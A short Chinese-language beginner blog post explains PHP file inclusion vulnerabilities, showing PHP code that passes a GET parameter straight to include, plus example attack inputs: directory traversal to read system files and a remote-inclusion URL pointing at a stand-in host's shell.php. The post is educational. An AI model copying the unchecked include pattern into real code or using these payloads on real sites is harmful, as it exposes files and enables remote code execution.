美文网首页
文件包含

文件包含

作者: liugensite | 来源:发表于2018-09-06 13:24 被阅读0次

本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。

文件包含漏洞

PHP文件包含漏洞是由于在通过PHP函数引入文件时没有经过安全校验,从而对预想之外的进行了操作,可能造成文件泄露和恶意代码的恶意执行。

下面来看一段index.php示例代码;

<?php

if ($_GET['func']) {

include $_GET['func']; }

else { include 'default.php'; }

?>

程序的本意是调用某个功能界面,假设整个网站中有一个userinfo.php的文件,此时可以通过url:http://xxx.test.com/index.php?func=userinfo.php,调用userinfo.php的内容和功能。如果func没有参数传入,则默认调用default.php的功能和作用。

但是此代码被骇客(黑客最初是一个褒义词,只不过现在慢慢变了味道)看到,假设此站点还有上传功能,黑客通过上传恶意代码hack.php,便可以通过本地包含url:http://xxx.test.com/index.php?func=/upload/document/hack.php,访问。

普通本地包含

以如下代码为例:

<?php

include($_GET['file'];

?>

包含同目录下的文件: ?file=./flag.txt

目录遍历:?file=../../../../../../../../

在linux系统中,cd .. 代表返回上级目录。例如可以通过file=../../../../../../../../../var/lib/mlocate/mlocate.db,读取所有文件的存储路径,但是需要root权限。

普通远程文件包含

远程代码执行:?file=[http|https|ftp]://example.com/shell.php(需要开启allow_url_fopen和allow_url_include)这样就可以执行shell,从而控制程序了。

相关文章

  • 【文件包含】PHP文件包含漏洞

    0x01 文件包含函数 include() include_once() require() require_on...

  • 文件包含

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。 文...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

  • 2019-09-02 文件包含和几个伪协议

    本地文件包含和远程文件包含: 本地文件包含:只要内容中带有即可解析成php文件执行。即使包含的文件...

  • Jar和arr的区别

    jar:只包含class文件与清单文件,不包含资源文件; arr:包含所有资源、class文件和res文件;

  • Shell脚本语言:文件包含、cat命令、获取用户输入(5)

    一、文件包含:1、文件B包含文件A:示例代码: 2、文件B包含文件A:示例代码: 二、cat命令: 作用: 语法:...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • shell文件包含

    和其他语言一样,Shell 也可以包含外部脚本。这样可以很方便的封装一些公用的代码作为一个独立的文件 1.创建两个...

网友评论

      本文标题:文件包含

      本文链接:https://www.haomeiwen.com/subject/apytgftx.html